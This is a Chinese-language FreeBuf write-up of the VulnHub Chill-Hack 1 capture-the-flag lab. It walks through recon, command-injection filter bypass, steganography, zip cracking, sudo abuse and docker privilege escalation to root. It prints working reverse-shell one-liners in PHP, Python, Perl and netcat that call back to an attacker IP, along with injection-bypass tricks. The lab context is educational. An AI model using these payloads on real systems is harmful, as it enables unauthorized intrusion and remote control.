freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

VulnHub-Chill-Hack 1 靶场渗透测试
2021-01-25 01:03:14

作者:ch4nge
时间:2021.1.25

靶场信息:

地址:https://www.vulnhub.com/entry/chill-hack-1,622/
发布日期:2020年12月9日
难度:容易/中级
目标:获取标志Flag: 2 (User and root)

运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)

hint :枚举

前言

本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练使用kali系统按照渗透测试的过程进行操作。在渗透的时候需要使用命令执行得到一个A用户shell,通过一个图片信息得到B用户的ssh密码,并在B用户上找到了存在sudo缺陷的脚本得到C用户的shell,并拿到user-flag,而B用户在docker组,利用docker进行提权至root。文章有不对的地方欢迎师傅指正~


一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip 10.0.0.131

1611487128_600d579890af9aa84f64b.png!small?1611487128830

2. 开放端口 服务

1611487206_600d57e604b724ae94666.png!small?1611487206190

PORT          STATE          SERVICE              VERSION
21/tcp        open            ftp                      vsftpd 3.0.3
22/tcp        open            ssh                     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp        open            http                    Apache httpd 2.4.29 ((Ubuntu))

3. ftp匿名访问

1611487433_600d58c913a4f93142bc9.png!small?1611487433270

下载文件,是一个提示

Anurodh told me that there is some filtering on strings being put in the command -- Apaar

1611487521_600d59215e679dddc8139.png!small?1611487521581


4. 网站信息搜集

首页

1611487674_600d59ba60c3903041f0f.png!small

二、漏洞探测

1. 目录扫描

dirb http://10.0.0.131/

1611488305_600d5c31df79f617b1530.png!small?1611488306174

访问

http://10.0.0.131/secret/

1611488385_600d5c81b235652be2ce7.png!small?1611488385979

漏洞来的太快就像龙卷风~命令执行漏洞

三、漏洞利用

1. 命令执行漏洞利用

前面ftp里面拿到的提示说有字符串的过滤,想办法绕过

经过尝试发现可以使用管道符进行绕过

whoami|ls

1611504256_600d9a8030559301d9740.png!small?1611504256259

2. php反弹shell

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'

1611504355_600d9ae37a2c0cc273981.png!small?1611504356043

3. 信息搜集

在/var/www/files路径中发现hacker.php

1611504392_600d9b087954effd62720.png!small?1611504392694

查看文件内容,得到提示

1611504434_600d9b32218f620127eca.png!small?1611504434386

在黑暗中看!你会找到答案的

继续寻找可用信息,在/var/www/files/images路径找到hacker-with-laptop_23-2147985341.jpg

由于靶机是CTF模式,是有可能存在信息隐写的。看图片名字应该是有信息隐藏在图片里面了,使用python httpserver搭建服务,将文件下载到本地

发现使用steghide可以将信息提取出来,得到backup.zip,解密需要密码

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

1611504500_600d9b74162e67160b4f2.png!small?1611504500316

使用fcrackzip工具暴力破解zip密码,使用kali系统自带的/usr/share/wordlists/rockyou.txt字典

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt  backup.zip

1611504622_600d9bee7d5d808153771.png!small?1611504622593

得到密码 pass1word

解压得到source_code.php

<html>
<head>
        Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
                        Email: <input type="email" name="email" placeholder="email"><br><br>
                        Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
                </form>
<?php
        if(isset($_POST['submit']))
        {
                $email = $_POST["email"];
                $password = $_POST["password"];
                if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
                { 
                        $random = rand(1000,9999);?><br><br><br>
                        <form method="POST">
                                Enter the OTP: <input type="number" name="otp">
                                <input type="submit" name="submitOtp" value="Submit">
                        </form>
                <?php   mail($email,"OTP for authentication",$random);
                        if(isset($_POST["submitOtp"]))
                                {
                                        $otp = $_POST["otp"];
                                        if($otp == $random)
                                        {
                                                echo "Welcome Anurodh!";
                                                header("Location: authenticated.php");
                                        }
                                        else
                                        {
                                                echo "Invalid OTP";
                                        }
                                }
                }
                else
                {
                        echo "Invalid Username or Password";
                }
        }
?>
</html>

根据文件内容可以判断出这是登录页面的程序,判断输入的密码是否正确,正确密码的base64编码是

IWQwbnRLbjB3bVlwQHNzdzByZA==
解密:
⚡ root@ch4nge  ~/file/VulnHub/Chill_Hack  echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d
!d0ntKn0wmYp@ssw0rd# 

密码:!d0ntKn0wmYp@ssw0rd

猜测密码是ssh用户的,查看ssh用户名anurodh、apaar、aurick

1611505224_600d9e48f31cd62513711.png!small?1611505225121

分别使用ssh登录,在登录anurodh用户时成功

1611504870_600d9ce6728159acf8fac.png!small?1611504870648

在/home/apaar路径发现local.txt文件,没有读取权限。尝试获取apaar用户权限或者root权限进行读取

1611505304_600d9e98a50c36a36865d.png!small?1611505304815

4. 获取apaar用户权限

使用sudo -l查看可以以sudo的身份运行的命令

anurodh@ubuntu:~$ sudo -l
Matching Defaults entries for anurodh on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User anurodh may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

发现可以将/home/apaar/.helpline.sh作为apaar用户运行,且不需要输入密码

查看该文件,它会提示输入两次数据,然后将它们执行/dev/null,且第二次输入的命令可以被执行

1611505682_600da0129f07db173252b.png!small?1611505682763

这里使用apaar用户运行文件,并在第二次信息输入/bin/bash,以尝试获取apaar用户的shell

1611505840_600da0b0921111af2023d.png!small?1611505840745

成功了!使用python3升级这个shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

1611505889_600da0e13d1be93d126bc.png!small?1611505889382

5. 得到第一个标志 USER-FLAG

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

6. 使用LinEnum.sh获取apaar和anurodh用户的信息

LinEnum.sh是一个非常好用的脚本,有温馨提示,LinEnum脚本下载

在本地使用python HTTPServer搭建服务,在靶机的shell中下载LinEnum脚本

1611506090_600da1aa8f4988daf5fd8.png!small?1611506090711

运行脚本,得知当前用户(anurodh)在docker用户组(apaar没有)

$ chmod +x LinEnum.sh
$ ./LinEnum.sh

1611506269_600da25da147482bc11da.png!small?1611506269713

四、权限提升

1. docker提权

安利一个很好用的网站https://gtfobins.github.io/

在gtfobins搜索docker获取相关信息,得到提权命令,获取root权限

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

1611506425_600da2f94942abfc6c39c.png!small?1611506425411

升级交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

2. 得到第二个标志 ROOT-FLAG

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

1611506447_600da30f383398b88bb39.png!small?1611506447371

总结

靶机很友好,网站的命令执行漏洞探测很简单,这里补充一下在此次反弹shell的时候可以用到的方法

使用管道符绕过过滤

whoami|ls-->ls
whoami|ls /home-->ls /home

php

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'

python3

whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.129",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl

whoami|perl -e 'use Socket;$i="10.0.0.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
whoami|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.129:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

nc(netcat)

whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用双引号绕过过滤

whoami""-->whoami
ls""-->ls

反弹shell

rm"" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用分号绕过过滤

ls;whoami-->whoami
ls;ls-->ls

反弹shell

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f
# 渗透测试 # 漏洞利用 # hack game # VulnHub
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录